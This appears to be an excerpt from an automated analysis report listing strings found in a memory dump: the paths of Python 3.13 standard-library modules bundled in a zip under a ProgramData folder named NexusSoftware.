00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\profile.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\pstats.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\pty.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\pyclbr.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\pydoc.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\py_compile.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\queue.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\quopri.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\random.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\reprlib.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\rlcompleter.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\runpy.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\sched.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\secrets.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\selectors.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\shelve.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\shlex.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\shutil.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\signal.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\site.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\smtplib.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\socket.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\socketserver.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\sre_compile.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\sre_constants.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\sre_parse.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\ssl.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\stat.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\statistics.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\string.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\stringprep.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\struct.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\subprocess.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\symtable.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\tabnanny.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\tarfile.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\tempfile.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\textwrap.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\this.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\threading.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\timeit.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\token.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\tokenize.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\trace.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\traceback.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\tracemalloc.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\tty.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\types.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\typing.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\uuid.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\warnings.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\wave.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\weakref.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\webbrowser.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\zipapp.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\zipimport.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\_aix_support.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\_android_support.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\_apple_support.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\_collections_abc.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\_colorize.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\_compat_pickle.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\_compression.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\_ios_support.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\_markupbase.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\_opcode_metadata.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\_osx_support.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\_pydatetime.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\_pydecimal.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\_pyio.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\_pylong.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\_py_abc.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\_sitebuiltins.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\_strptime.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\_threading_local.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\_weakrefset.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\__future__.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\__hello__.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\asyncio\constants.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\asyncio\events.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\asyncio\futures.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\asyncio\locks.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\asyncio\log.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\asyncio\mixins.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\asyncio\protocols.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\asyncio\queues.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\asyncio\runners.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\asyncio\sslproto.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\asyncio\staggered.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\asyncio\streams.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\asyncio\tasks.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\asyncio\threads.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\asyncio\timeouts.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\asyncio\trsock.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\asyncio\__init__.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\asyncio\__main__.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\ctypes\util.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\ctypes\wintypes.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\ctypes\_aix.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\ctypes\_endian.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\ctypes\__init__.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\curses\ascii.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\curses\has_key.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\curses\panel.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\curses\textpad.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\curses\__init__.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\dbm\dumb.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\dbm\gnu.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\dbm\ndbm.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\dbm\sqlite3.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\dbm\__init__.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\email\base64mime.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\email\charset.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\email\encoders.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\email\errors.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\email\feedparser.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\email\generator.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\email\header.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\email\iterators.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\email\message.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\email\parser.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\email\policy.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\email\quoprimime.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\email\utils.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\email\_parseaddr.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\email\_policybase.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\email\__init__.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\aliases.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\ascii.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\big5.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\charmap.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\cp037.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\cp1006.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\cp1026.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\cp1125.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\cp1140.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\cp1250.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\cp1251.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\cp1252.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\cp1253.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\cp1254.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\cp1255.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\cp1256.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\cp1257.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\cp1258.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\cp273.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\cp424.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\cp437.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\cp500.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\cp720.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\cp737.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\cp775.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\cp850.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\cp852.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\cp855.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\cp856.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\cp857.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\cp858.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\cp860.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\cp861.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\cp862.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\cp863.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\cp864.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\cp865.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\cp866.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\cp869.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\cp874.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\cp875.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\cp932.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\cp949.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\cp950.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\euc_jp.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\euc_kr.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\gb18030.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\gb2312.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\gbk.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\hz.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\idna.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\johab.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\koi8_r.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\koi8_t.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\koi8_u.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\kz1048.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\latin_1.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\mbcs.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\oem.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\palmos.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\ptcp154.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\rot_13.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\tis_620.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\utf_16.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\utf_32.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\utf_7.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\utf_8.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\html\entities.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\html\parser.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\html\__init__.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\http\client.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\http\cookiejar.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\http\cookies.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\http\server.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\http\__init__.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\iso8859_10.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\iso8859_11.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\iso8859_13.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\iso8859_14.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\iso8859_15.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp "C:\ProgramData\NexusSoftware\felix1\python313.zip\encodings\iso8859_16.pyc" in Source: 00000000-00003580.00000001.112940.04B70000.00000004.mdmp 